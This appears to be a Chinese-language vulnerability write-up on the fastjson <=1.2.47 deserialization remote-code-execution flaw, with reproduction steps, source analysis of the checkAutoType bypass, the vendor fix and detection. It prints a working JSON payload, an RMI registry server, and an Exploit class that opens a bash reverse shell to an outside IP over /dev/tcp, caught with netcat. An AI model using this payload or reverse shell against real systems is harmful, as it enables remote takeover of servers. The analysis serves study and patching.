簡介
fastjson 是由阿裡開發的一種 json 的解析器和生成器。在 2019 年 6 月 26 日,使用者提出 issue [1],存在遠端代碼執行的版本 <=1.2.47。
環境準備
- jdk 1.6.0.65
- fastjson 1.2.47
Let's Hack
POC
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
複現采用 jndi 利用方式,建議先閱讀us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE[2] ,了解 jndi 注入。
RMIRegistry.java
package deserialize;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIRegistry { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "Exploit","http://localhost/");//這裡請求的localhost 80端口的Exploit對象 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); }}
Exploit.java
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec(); return null; } private static void exec() { try { Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999 } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { exec(); }}
POC.java
package deserialize;import com.alibaba.fastjson.JSON;public class POC { public static void main(String[] argv) { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x1001\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}"; JSON.parse(payload); }}
- 使用
編譯javac
,得到的Exploit.java
,放入本地或其他伺服器(由于 rmi servicei 請求80端口,是以保證伺服器綁定在80端口)的根目錄。Exploit.class
- 運作 RMIRegistry.java。
- 攻擊機(192.168.66.13) 運作
監聽 9999 端口,運作 POC.java,如圖 3-1可以看到成功拿到 shell。netcat -lvvp 9999
圖3-1fastjson反序列化過濾字段屬性_Fastjson&lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測
漏洞原理
Fastjson 中負責處理 parse 的一般是
DefaultJSONParser.parseObject
。fastjson 中将帶解析的資料用 JSONLexer 封裝。對如下解析的資料
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
從左向右解析。
圖4-1
在圖 4-1 中,當解析到
@type
時,進入
checkAutoType
,傳入的參數
typeName=java.lang.Class
,跟進checkAutoType方法。
public Class> checkAutoType(String typeName, Class> expectClass, int features) { if (typeName == null) { return null; } //省略部分代碼 if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作為key從mappings(ConcurrentMap對象)中查找對象,這個相當于從cache取值,剛開始沒有存入對象,取出值為null } if (clazz == null) { clazz = deserializers.findClass(typeName);// 将typeName作為key從deserializers(IdentityHashMap)中查找對象 } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) {//判斷提取的對象hash值是否在denyHashCodes,也就是黑名單過濾 long hash = h3; for (int i = 3; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //省略部分代碼 return clazz; }
在
TypeUtils.getClassFromMapping
方法,第一次沒有存入 cache 為 null,跟進
deserializers.findClass(typeName)
,可以看到該方法通過
keyString(這裡傳入的是java.lang.class)
比對
this.buckets
的 className,
this.buckets
存在
java.lang.class
,是以傳回
java.lang.class
。
public Class findClass(String keyString) { for(int i = 0; i < this.buckets.length; ++i) { IdentityHashMap.Entry bucket = this.buckets[i]; if (bucket != null) { for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) { Object key = bucket.key; if (key instanceof Class) { Class clazz = (Class)key; String className = clazz.getName(); if (className.equals(keyString)) { return clazz; } } } } } return null; }
回到
DefaultJSONParser.parseObject()
方法,繼續跟進,如下圖 4-2,通過
config.getDeserializer
獲得反序列化的路由類
MiscCodec
。并調用該路由類的
deserialze(this, clazz, fieldName)
方法,
圖4-2
跟進該方法中,如圖 4-3,主要調用
parser.parse()
方法提取到
com.sun.rowset.JdbcRowSetImpl
賦給objVal對象。
圖4-3
繼續往下走,如圖 4-4,調用
TypeUtils.loadClass
。
圖4-4
跟進
loadClass(String className, ClassLoader classLoader)
方法,如圖 4-5,
loadClass
調用該方法的重載方法,設定為true。
圖4-5
跟進
loadClass
的重載方法,将
com.sun.rowset.JdbcRowSetImpl
存入上文在
checkAutoType
中提到
mappings
中(即緩存中)。
圖4-6
至此第一部分解析完了,主要做的是将
com.sun.rowset.JdbcRowSetImpl
存入 mappings 中,接下來解析第二部分,讓我們回到
DefaultJSONParser.parseObject()
,解析的第二個鍵值對如下:
"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
和第一個一樣,不同的是,此時的 typeName 為
com.sun.rowset.JdbcRowSetImpl
。
圖4-7
跟進
config.checkAutoType(String typeName, Class> expectClass, int features)
方法,如圖 4-8,由于第一次解析中将
com.sun.rowset.JdbcRowSetImpl
存入 mappings 中。如圖 4-9,這次直接通過
TypeUtils.getClassFromMapping(typeName);
擷取到 com.sun.rowset.JdbcRowSetImpl 對象。并傳回該對象。(同樣繞過 checkAutoType 中黑名單限制以及 autoType 開關的檢查)
圖4-8
圖4-9
和第一次一樣,如圖 4-10調用
deserializer.deserialze(this, clazz, fieldName)
,不同的是這次得到的反序列化路由類為
FastjsonASMDeserializer
。
圖4-10
跟進
deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)
,首先有一些 asm 操作,接着調用如
deserialze
方法,如圖 4-11。
圖4-11
在
setValue
中通過
method.invoke(object, value)
反射執行
com.sun.rowset.JdbcRowSetImpl.setAutoCommit
方法
圖4-12
跟進
setAutoCommit
中,如圖4-13調用
this.connect()
圖4-13
如圖4-14
this.connect()
對成員變量 dataSourceName 進行 lookup,成功利用 jndi 注入。
圖4-14 整個利用鍊:
Exec:620,Runtime //指令執行Lookup:417,InitalContext //jndi lookup函數通過rmi加載惡意類setAutoCommit:4067,JdbcRowSetImpl //通過setAutoCommit觸發lookup函數setValue:96,FieldDeserializer //反射調用傳入類的set函數deserialze:600, JavaBeanDeserializer //通過循環調用傳入類 set,get,is函數parseObject:368,DefaultJSONParser //解析傳入的json字元串
官方修複
官方在 1.2.48 版本更改以下代碼進行修複,推薦更新到最新版本。
- 黑名單修複,增加8409640769019589119(java.lang.Class)*1459860845934817624(java.net.InetAddress)*兩個類的黑名單。
fastjson反序列化過濾字段屬性_Fastjson&lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測 - MiscCodec.java 檔案對 cache 緩存設定成 false
fastjson反序列化過濾字段屬性_Fastjson&lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測 - ParserConfig.java 檔案對 checkAutoType()進行了相關政策調整.
fastjson反序列化過濾字段屬性_Fastjson&lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測
漏洞檢測
采用一些三方元件自動化檢測工具,如安全玻璃盒 IAST 産品等,結果如下:
參考資料
[1]
issue: https://github.com/alibaba/fastjson/issues/2513
[2]
us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf